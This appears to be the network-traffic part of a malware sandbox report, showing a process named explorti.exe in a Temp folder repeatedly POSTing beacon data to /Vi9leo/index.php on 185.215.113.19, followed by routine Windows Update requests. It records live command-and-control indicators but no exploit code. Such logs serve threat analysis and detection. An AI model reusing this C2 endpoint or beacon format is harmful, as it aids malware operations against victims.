Sep 1, 2024 05:09:49.030033112 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:49.282227993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	52628	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:49.390630960 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:50.127928019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:50.128680944 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:50.373645067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	52629	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:50.481796980 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:51.237595081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:51.241504908 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:51.489869118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	52630	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:51.608688116 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:52.347203016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:52.348011017 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:52.593759060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	52631	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:52.702475071 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:53.443703890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:53.444408894 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:53.692747116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	52632	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:53.811244965 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:54.568696022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:54.569421053 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:54.818954945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	52633	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:54.936496973 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:55.896725893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:55.912062883 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:56.162134886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	52634	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:56.278131962 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:57.059730053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:57.060463905 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:57.313087940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	52635	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:57.421796083 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:58.158852100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:58.159596920 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:58.405323029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	52636	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:58.524883986 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:59.259109020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:59.259856939 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:59.655118942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 1, 2024 05:09:59.864917994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	52637	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:59.865294933 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:10:00.628810883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:08:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlZXXSS8OOahzWV&MD=pbZWEaDG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-01 03:08:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1b3c78c3-4f69-4794-8276-0d0ea2fb2f89 MS-RequestId: 20dcd131-01cc-4e05-a219-f6100f482ecf MS-CV: nlk8elJ1HUSJZqLL.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 01 Sep 2024 03:08:13 GMT Connection: close Content-Length: 24490
2024-09-01 03:08:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-01 03:08:13 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:08:51 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlZXXSS8OOahzWV&MD=pbZWEaDG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-01 03:08:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 65e2f953-d237-4456-897d-71112286ade5 MS-RequestId: 30b831d4-d856-47cd-8f83-f31035904ff7 MS-CV: 1fb9c+hSqEW0ltcx.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 01 Sep 2024 03:08:51 GMT Connection: close Content-Length: 30005
